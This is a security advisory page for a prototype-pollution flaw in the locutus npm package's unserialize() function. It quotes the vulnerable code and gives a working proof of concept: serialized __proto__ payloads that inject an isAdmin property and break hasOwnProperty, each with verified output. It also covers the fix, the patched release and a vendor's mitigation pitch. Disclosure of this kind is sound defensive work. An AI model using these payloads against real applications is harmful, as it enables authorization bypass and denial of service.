GHSA-4mph-v827-f877 — locutus
Fix: locutusjs/locutus#597GHSA-4mph-v827-f877 is a CWE-1321 vulnerability in locutus. A fix is available for locutus — see the affected versions and patch details below.
Locutus has Prototype Pollution via __proto__ Key Injection in unserialize()
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for GHSA-4mph-v827-f877.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
locutusnpmDescription
Summary
The unserialize() function in locutus/php/var/unserialize assigns deserialized keys to plain objects via bracket notation without filtering the __proto__ key. When a PHP serialized payload contains __proto__ as an array or object key, JavaScript's __proto__ setter is invoked, replacing the deserialized object's prototype with attacker-controlled content. This enables property injection, for...in propagation of injected properties, and denial of service via built-in method override.
This is distinct from the previously reported prototype pollution in parse_str (GHSA-f98m-q3hr-p5wq, GHSA-rxrv-835q-v5mh) — unserialize is a different function with no mitigation applied.
Details
The vulnerable code is in two functions within src/php/var/unserialize.ts:
expectArrayItems() at line 358:
// src/php/var/unserialize.ts:329-366
function expectArrayItems(
str: string,
expectedItems = 0,
cache: CacheFn,
): [UnserializedObject | UnserializedValue[], number] {
// ...
const items: UnserializedObject = {}
// ...
for (let i = 0; i < expectedItems; i++) {
key = expectKeyOrIndex(str)
// ...
item = expectType(str, cache)
// ...
items[String(key[0])] = item[0] // line 358 — no __proto__ filtering
}
// ...
}
expectObject() at line 278:
// src/php/var/unserialize.ts:246-287
function expectObject(str: string, cache: CacheFn): ParsedResult {
// ...
const obj: UnserializedObject = {}
// ...
for (let i = 0; i < propCount; i++) {
// ...
obj[String(prop[0])] = value[0] // line 278 — no __proto__ filtering
}
// ...
}
Both functions create a plain object ({}) and assign user-controlled keys via bracket notation. When the key is __proto__, JavaScript's __proto__ setter replaces the object's prototype rather than creating a regular property. This means:
- Properties in the attacker-supplied prototype become accessible via dot notation and the
inoperator - These properties are invisible to
Object.keys(),JSON.stringify(), andhasOwnProperty() - They propagate to copies made via
for...inloops, becoming real own properties - The attacker can override
hasOwnProperty,toString,valueOfwith non-function values
Notably, parse_str in the same package has a regex guard against __proto__ (line 74 of src/php/strings/parse_str.ts), but no equivalent protection was applied to unserialize.
This is not global Object.prototype pollution — only the deserialized object's prototype is replaced. Other objects in the application are not affected.
PoC
Setup:
npm install [email protected]
Step 1 — Property injection via array deserialization:
import { unserialize } from 'locutus/php/var/unserialize';
const payload = 'a:2:{s:9:"__proto__";a:1:{s:7:"isAdmin";b:1;}s:4:"name";s:3:"bob";}';
const config = unserialize(payload);
console.log(config.isAdmin); // true (injected via prototype)
console.log(Object.keys(config)); // ['name'] — isAdmin is hidden
console.log('isAdmin' in config); // true — bypasses 'in' checks
console.log(config.hasOwnProperty('isAdmin')); // false — invisible to hasOwnProperty
Verified output:
true
[ 'name' ]
true
false
Step 2 — for...in propagation makes injected properties real:
const copy = {};
for (const k in config) copy[k] = config[k];
console.log(copy.isAdmin); // true (now an own property)
console.log(copy.hasOwnProperty('isAdmin')); // true
Verified output:
true
true
Step 3 — Method override denial of service:
const payload2 = 'a:1:{s:9:"__proto__";a:1:{s:14:"hasOwnProperty";b:1;}}';
const obj = unserialize(payload2);
obj.hasOwnProperty('x'); // TypeError: obj.hasOwnProperty is not a function
Verified output:
TypeError: obj.hasOwnProperty is not a function
Step 4 — Object type (stdClass) is also vulnerable:
const payload3 = 'O:8:"stdClass":2:{s:9:"__proto__";a:1:{s:7:"isAdmin";b:1;}s:4:"name";s:3:"bob";}';
const obj2 = unserialize(payload3);
console.log(obj2.isAdmin); // true
console.log('isAdmin' in obj2); // true
Step 5 — Confirm NOT global pollution:
console.log(({}).isAdmin); // undefined — global Object.prototype is clean
Impact
- Property injection: Attacker-controlled properties become accessible on the deserialized object via dot notation and the
inoperator while being invisible toObject.keys()andhasOwnProperty(). Applications that useif (config.isAdmin)orif ('role' in config)patterns on deserialized data are vulnerable to authorization bypass. - Property propagation: When consuming code copies the object using
for...in(a common JavaScript pattern for object spreading or cloning), injected prototype properties materialize as real own properties, surviving all subsequenthasOwnPropertychecks. - Denial of service: The injected prototype can override
hasOwnProperty,toString,valueOf, and otherObject.prototypemethods with non-function values, causingTypeErrorwhen these methods are called on the deserialized object.
The primary use case for locutus unserialize is deserializing PHP-serialized data in JavaScript applications, often from external or untrusted sources. This makes the attack surface realistic.
Recommended Fix
Filter dangerous keys before assignment in both expectArrayItems and expectObject. Use Object.defineProperty to create a data property without triggering the __proto__ setter:
const DANGEROUS_KEYS = new Set(['__proto__', 'constructor', 'prototype']);
// In expectArrayItems (line 358) and expectObject (line 278):
const keyStr = String(key[0]); // or String(prop[0]) in expectObject
if (DANGEROUS_KEYS.has(keyStr)) {
Object.defineProperty(items, keyStr, {
value: item[0],
writable: true,
enumerable: true,
configurable: true,
});
} else {
items[keyStr] = item[0];
}
Alternatively, create objects with a null prototype to prevent __proto__ setter invocation entirely:
// Replace: const items: UnserializedObject = {}
// With:
const items = Object.create(null) as UnserializedObject;
The Object.create(null) approach is more robust as it prevents the __proto__ setter from ever being triggered, regardless of key value.
Maintainer Reponse
Thank you for the report. This issue was reproduced locally against [email protected], confirming that unserialize() was vulnerable to __proto__-driven prototype injection on the returned object.
This is now fixed on main and released in [email protected].
Fix Shipped In
What the Fix Does
The fix hardens src/php/var/unserialize.ts by treating __proto__, constructor, and prototype as dangerous keys and defining them as plain own properties instead of assigning through normal bracket notation. This preserves the key in the returned value without invoking JavaScript's prototype setter semantics.
Tested Repro Before the Fix
- Attacker-controlled serialized
__proto__key produced inherited properties on the returned object Object.keys()hid the injected key while'key' in objstayed true- Built-in methods like
hasOwnPropertycould be disrupted
Tested State After the Fix in 3.0.25
- Dangerous keys are kept as own enumerable properties
- The returned object's prototype is not replaced
- The regression is covered by
test/custom/unserialize-prototype-pollution.vitest.ts
The locutus team is treating this as a real package vulnerability with patched version 3.0.25.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | locutus | all versions | 3.0.25npm install locutus@3.0.25 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for locutus, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update locutus to 3.0.25 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-4mph-v827-f877 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-4mph-v827-f877 can be triaged on real exposure rather than presence alone.
Tailored to GHSA-4mph-v827-f877. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-4mph-v827-f877 in your dependencies?
O3 Security finds GHSA-4mph-v827-f877 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.